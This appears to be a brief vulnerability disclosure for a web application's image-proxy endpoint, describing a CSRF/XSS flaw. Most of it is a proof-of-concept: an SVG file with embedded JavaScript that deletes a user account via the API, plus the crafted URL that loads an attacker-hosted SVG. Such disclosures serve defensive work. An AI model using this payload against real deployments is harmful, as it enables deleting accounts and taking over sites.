The endpoint at /o/get/image?url=
does not have sufficient protections to protect users from CSRF and XSS. An attacker can craft a malicious svg image that will allow them to perform any action of the victim. In the case where the victim is the admin this can lead to a site takover.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
fetch("http://localhost:5230/api/v1/user/2", { method: "DELETE", headers: { "Origin": "localhost:5230" } })
</script>
</svg>
http://localhost:5230/o/get/image?url=http://<your-url>/malicious.svg
https://drive.google.com/file/d/13cXVTdkaX2taeFty9YrrN4wwLQqJWzPf/view?usp=sharing